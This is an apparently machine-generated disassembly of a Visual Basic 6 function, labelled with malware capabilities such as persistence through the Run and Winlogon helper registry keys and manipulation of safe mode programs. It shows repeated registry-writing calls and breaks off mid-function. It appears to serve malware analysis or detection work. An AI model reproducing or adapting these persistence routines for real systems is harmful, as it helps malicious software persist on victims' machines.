Function at 0x554780
Capabilities:
Manipulate safe mode programs
Parse pe header
Persist via run registry key
Persist via winlogon helper dll registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0x4051a6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x3c8
call sub.MSVBVM60.DLL___vbaChkstk
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x14], 0x403ab8
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 1
mov dword [ebp - 4], 2
push 0x575550
call fcn.0053f060
mov dword [0x57554c], eax
mov dword [ebp - 4], 3
call fcn.0053f110
mov edx, eax
mov ecx, 0x575548
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov dword [ebp - 4], 4
push 0xffffffffffffffff
call dword [sym.imp.MSVBVM60.DLL___vbaOnError]
mov dword [ebp - 4], 5
cmp dword [0x575db0], 0
jne 0x55482f
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0xd4], 0x575db0
jmp 0x554839
mov dword [ebp - 0xd4], 0x575db0
mov eax, dword [ebp - 0xd4]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
mov edx, 0x41bd1c
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41bd0c
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41bc9c
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000002
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x34]
push ecx
lea edx, [ebp - 0xb4]
push edx
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb8]
push edx
call dword [ecx + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x5548d4
push 0x2c
push 0x41bc18
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0xd8], eax
jmp 0x5548de
mov dword [ebp - 0xd8], 0
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x34]
push ecx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
mov dword [ebp - 4], 6
cmp dword [0x575db0], 0
jne 0x554921
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0xdc], 0x575db0
jmp 0x55492b
mov dword [ebp - 0xdc], 0x575db0
mov edx, dword [ebp - 0xdc]
mov eax, dword [edx]
mov dword [ebp - 0xb8], eax
push 0x22
lea ecx, [ebp - 0x50]
push ecx
call dword [sym.imp.MSVBVM60.DLL_rtcVarBstrFromAnsi]
mov dword [ebp - 0x98], 0x41bd78
mov dword [ebp - 0xa0], 8
push 0x22
lea edx, [ebp - 0x70]
push edx
call dword [sym.imp.MSVBVM60.DLL_rtcVarBstrFromAnsi]
mov dword [ebp - 0xa8], 0x41bd84
mov dword [ebp - 0xb0], 8
lea eax, [ebp - 0x50]
push eax
lea ecx, [ebp - 0xa0]
push ecx
lea edx, [ebp - 0x60]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x80]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
lea edx, [ebp - 0xb0]
push edx
lea eax, [ebp - 0x90]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarMove]
mov edx, eax
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov edx, 0x4139c8
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41bd3c
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000000
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0xb4]
push ecx
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x554a43
push 0x2c
push 0x41bc18
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0xe0], eax
jmp 0x554a4d
mov dword [ebp - 0xe0], 0
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
lea ecx, [ebp - 0x90]
push ecx
lea edx, [ebp - 0x80]
push edx
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x60]
push ecx
lea edx, [ebp - 0x50]
push edx
push 5
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
add esp, 0x18
mov dword [ebp - 4], 7
cmp dword [0x575db0], 0
jne 0x554ab2
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0xe4], 0x575db0
jmp 0x554abc
mov dword [ebp - 0xe4], 0x575db0
mov eax, dword [ebp - 0xe4]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
push 0x22
lea edx, [ebp - 0x50]
push edx
call dword [sym.imp.MSVBVM60.DLL_rtcVarBstrFromAnsi]
mov dword [ebp - 0x98], 0x41bd78
mov dword [ebp - 0xa0], 8
push 0x22
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcVarBstrFromAnsi]
mov dword [ebp - 0xa8], 0x41bd84
mov dword [ebp - 0xb0], 8
lea ecx, [ebp - 0x50]
push ecx
lea edx, [ebp - 0xa0]
push edx
lea eax, [ebp - 0x60]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
lea ecx, [ebp - 0x70]
push ecx
lea edx, [ebp - 0x80]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
lea eax, [ebp - 0xb0]
push eax
lea ecx, [ebp - 0x90]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarMove]
mov edx, eax
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov edx, 0x4139c8
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41bd90
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000000
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x34]
push ecx
lea edx, [ebp - 0xb4]
push edx
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb8]
push edx
call dword [ecx + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x554bd4
push 0x2c
push 0x41bc18
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0xe8], eax
jmp 0x554bde
mov dword [ebp - 0xe8], 0
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x34]
push ecx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
lea edx, [ebp - 0x90]
push edx
lea eax, [ebp - 0x80]
push eax
lea ecx, [ebp - 0x70]
push ecx
lea edx, [ebp - 0x60]
push edx
lea eax, [ebp - 0x50]
push eax
push 5
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
add esp, 0x18
mov dword [ebp - 4], 8
cmp dword [0x575db0], 0
jne 0x554c43
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0xec], 0x575db0
jmp 0x554c4d
mov dword [ebp - 0xec], 0x575db0
mov ecx, dword [ebp - 0xec]
mov edx, dword [ecx]
mov dword [ebp - 0xb8], edx
push 0x22
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcVarBstrFromAnsi]
mov dword [ebp - 0x98], 0x41bd78
mov dword [ebp - 0xa0], 8
push 0x22
lea ecx, [ebp - 0x70]
push ecx
call dword [sym.imp.MSVBVM60.DLL_rtcVarBstrFromAnsi]
mov dword [ebp - 0xa8], 0x41bd84
mov dword [ebp - 0xb0], 8
lea edx, [ebp - 0x50]
push edx
lea eax, [ebp - 0xa0]
push eax
lea ecx, [ebp - 0x60]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
lea edx, [ebp - 0x70]
push edx
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
lea ecx, [ebp - 0xb0]
push ecx
lea edx, [ebp - 0x90]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarMove]
mov edx, eax
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov edx, 0x4139c8
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41bdcc
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000000
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x34]
push edx
lea eax, [ebp - 0xb4]
push eax
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb8]
push eax
call dword [edx + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x554d65
push 0x2c
push 0x41bc18
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0xf0], eax
jmp 0x554d6f
mov dword [ebp - 0xf0], 0
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x34]
push edx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
lea eax, [ebp - 0x90]
push eax
lea ecx, [ebp - 0x80]
push ecx
lea edx, [ebp - 0x70]
push edx
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x50]
push ecx
push 5
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
add esp, 0x18
mov dword [ebp - 4], 9
cmp dword [0x575db0], 0
jne 0x554dd4
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0xf4], 0x575db0
jmp 0x554dde
mov dword [ebp - 0xf4], 0x575db0
mov edx, dword [ebp - 0xf4]
mov eax, dword [edx]
mov dword [ebp - 0xb8], eax
push 0x22
lea ecx, [ebp - 0x50]
push ecx
call dword [sym.imp.MSVBVM60.DLL_rtcVarBstrFromAnsi]
mov dword [ebp - 0x98], 0x41bd78
mov dword [ebp - 0xa0], 8
push 0x22
lea edx, [ebp - 0x70]
push edx
call dword [sym.imp.MSVBVM60.DLL_rtcVarBstrFromAnsi]
mov dword [ebp - 0xa8], 0x41bd84
mov dword [ebp - 0xb0], 8
lea eax, [ebp - 0x50]
push eax
lea ecx, [ebp - 0xa0]
push ecx
lea edx, [ebp - 0x60]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x80]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
lea edx, [ebp - 0xb0]
push edx
lea eax, [ebp - 0x90]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarMove]
mov edx, eax
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov edx, 0x4139c8
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41be08
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000000
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0xb4]
push ecx
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x554ef6
push 0x2c
push 0x41bc18
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0xf8], eax
jmp 0x554f00
mov dword [ebp - 0xf8], 0
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
lea ecx, [ebp - 0x90]
push ecx
lea edx, [ebp - 0x80]
push edx
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x60]
push ecx
lea edx, [ebp - 0x50]
push edx
push 5
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
add esp, 0x18
mov dword [ebp - 4], 0xa
cmp dword [0x575db0], 0
jne 0x554f65
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0xfc], 0x575db0
jmp 0x554f6f
mov dword [ebp - 0xfc], 0x575db0
mov eax, dword [ebp - 0xfc]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
push 0x22
lea edx, [ebp - 0x50]
push edx
call dword [sym.imp.MSVBVM60.DLL_rtcVarBstrFromAnsi]
mov dword [ebp - 0x98], 0x41bd78
mov dword [ebp - 0xa0], 8
push 0x22
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcVarBstrFromAnsi]
mov dword [ebp - 0xa8], 0x41bd84
mov dword [ebp - 0xb0], 8
lea ecx, [ebp - 0x50]
push ecx
lea edx, [ebp - 0xa0]
push edx
lea eax, [ebp - 0x60]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
lea ecx, [ebp - 0x70]
push ecx
lea edx, [ebp - 0x80]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
lea eax, [ebp - 0xb0]
push eax
lea ecx, [ebp - 0x90]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarMove]
mov edx, eax
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov edx, 0x4139c8
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41be44
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000000
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x34]
push ecx
lea edx, [ebp - 0xb4]
push edx
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb8]
push edx
call dword [ecx + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x555087
push 0x2c
push 0x41bc18
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x100], eax
jmp 0x555091
mov dword [ebp - 0x100], 0
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x34]
push ecx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
lea edx, [ebp - 0x90]
push edx
lea eax, [ebp - 0x80]
push eax
lea ecx, [ebp - 0x70]
push ecx
lea edx, [ebp - 0x60]
push edx
lea eax, [ebp - 0x50]
push eax
push 5
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
add esp, 0x18
mov dword [ebp - 4], 0xb
cmp dword [0x575db0], 0
jne 0x5550f6
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x104], 0x575db0
jmp 0x555100
mov dword [ebp - 0x104], 0x575db0
mov ecx, dword [ebp - 0x104]
mov edx, dword [ecx]
mov dword [ebp - 0xb8], edx
push 0x22
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcVarBstrFromAnsi]
mov dword [ebp - 0x98], 0x41bd78
mov dword [ebp - 0xa0], 8
push 0x22
lea ecx, [ebp - 0x70]
push ecx
call dword [sym.imp.MSVBVM60.DLL_rtcVarBstrFromAnsi]
mov dword [ebp - 0xa8], 0x41bd84
mov dword [ebp - 0xb0], 8
lea edx, [ebp - 0x50]
push edx
lea eax, [ebp - 0xa0]
push eax
lea ecx, [ebp - 0x60]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
lea edx, [ebp - 0x70]
push edx
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
lea ecx, [ebp - 0xb0]
push ecx
lea edx, [ebp - 0x90]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarMove]
mov edx, eax
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov edx, 0x4139c8
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41be80
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000000
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x34]
push edx
lea eax, [ebp - 0xb4]
push eax
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb8]
push eax
call dword [edx + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x555218
push 0x2c
push 0x41bc18
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x108], eax
jmp 0x555222
mov dword [ebp - 0x108], 0
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x34]
push edx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
lea eax, [ebp - 0x90]
push eax
lea ecx, [ebp - 0x80]
push ecx
lea edx, [ebp - 0x70]
push edx
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x50]
push ecx
push 5
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
add esp, 0x18
mov dword [ebp - 4], 0xc
cmp dword [0x575db0], 0
jne 0x555287
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x10c], 0x575db0
jmp 0x555291
mov dword [ebp - 0x10c], 0x575db0
mov edx, dword [ebp - 0x10c]
mov eax, dword [edx]
mov dword [ebp - 0xb8], eax
push 0x22
lea ecx, [ebp - 0x50]
push ecx
call dword [sym.imp.MSVBVM60.DLL_rtcVarBstrFromAnsi]
mov dword [ebp - 0x98], 0x41bd78
mov dword [ebp - 0xa0], 8
push 0x22
lea edx, [ebp - 0x70]
push edx
call dword [sym.imp.MSVBVM60.DLL_rtcVarBstrFromAnsi]
mov dword [ebp - 0xa8], 0x41bd84
mov dword [ebp - 0xb0], 8
lea eax, [ebp - 0x50]
push eax
lea ecx, [ebp - 0xa0]
push ecx
lea edx, [ebp - 0x60]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x80]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
lea edx, [ebp - 0xb0]
push edx
lea eax, [ebp - 0x90]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarMove]
mov edx, eax
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov edx, 0x4139c8
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41bebc
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000000
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0xb4]
push ecx
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x5553a9
push 0x2c
push 0x41bc18
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x110], eax
jmp 0x5553b3
mov dword [ebp - 0x110], 0
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
lea ecx, [ebp - 0x90]
push ecx
lea edx, [ebp - 0x80]
push edx
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x60]
push ecx
lea edx, [ebp - 0x50]
push edx
push 5
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
add esp, 0x18
mov dword [ebp - 4], 0xd
cmp dword [0x575db0], 0
jne 0x555418
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x114], 0x575db0
jmp 0x555422
mov dword [ebp - 0x114], 0x575db0
mov eax, dword [ebp - 0x114]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
mov edx, 0x41bf34
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x4139c8
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41bef8
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000000
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x34]
push ecx
lea edx, [ebp - 0xb4]
push edx
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb8]
push edx
call dword [ecx + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x5554bd
push 0x2c
push 0x41bc18
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x118], eax
jmp 0x5554c7
mov dword [ebp - 0x118], 0
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x34]
push ecx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
mov dword [ebp - 4], 0xe
cmp dword [0x575db0], 0
jne 0x55550a
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x11c], 0x575db0
jmp 0x555514
mov dword [ebp - 0x11c], 0x575db0
mov edx, dword [ebp - 0x11c]
mov eax, dword [edx]
mov dword [ebp - 0xb8], eax
push 1
push 0x41bfd8
push 0x41bf58
push 0x80000001
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb8]
push eax
call dword [edx + 0x34]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x555579
push 0x34
push 0x41bc18
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x120], eax
jmp 0x555583
mov dword [ebp - 0x120], 0
mov dword [ebp - 4], 0xf
cmp dword [0x575db0], 0
jne 0x5555af
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x124], 0x575db0
jmp 0x5555b9
mov dword [ebp - 0x124], 0x575db0
mov eax, dword [ebp - 0x124]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
push 2
push 0x41bff4
push 0x41bf58
push 0x80000001
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x34]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x55561e
push 0x34
push 0x41bc18
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x128], eax
jmp 0x555628
mov dword [ebp - 0x128], 0
mov dword [ebp - 4], 0x10
cmp dword [0x575db0], 0
jne 0x555654
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x12c], 0x575db0
jmp 0x55565e
mov dword [ebp - 0x12c], 0x575db0
mov ecx, dword [ebp - 0x12c]
mov edx, dword [ecx]
mov dword [ebp - 0xb8], edx
push 0
push 0x41c008
push 0x41bf58
push 0x80000001
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb8]
push edx
call dword [ecx + 0x34]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x5556c3
push 0x34
push 0x41bc18
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x130], eax
jmp 0x5556cd
mov dword [ebp - 0x130], 0
mov dword [ebp - 4], 0x11
cmp dword [0x575db0], 0
jne 0x5556f9
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x134], 0x575db0
jmp 0x555703
mov dword [ebp - 0x134], 0x575db0
mov edx, dword [ebp - 0x134]
mov eax, dword [edx]
mov dword [ebp - 0xb8], eax
mov edx, 0x41a3b8
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41c09c
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41c02c
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000002
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0xb4]
push ecx
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x55579e
push 0x2c
push 0x41bc18
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x138], eax
jmp 0x5557a8
mov dword [ebp - 0x138], 0
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
mov dword [ebp - 4], 0x12
cmp dword [0x575db0], 0
jne 0x5557eb
push 0x575db0
push 0x4063c8
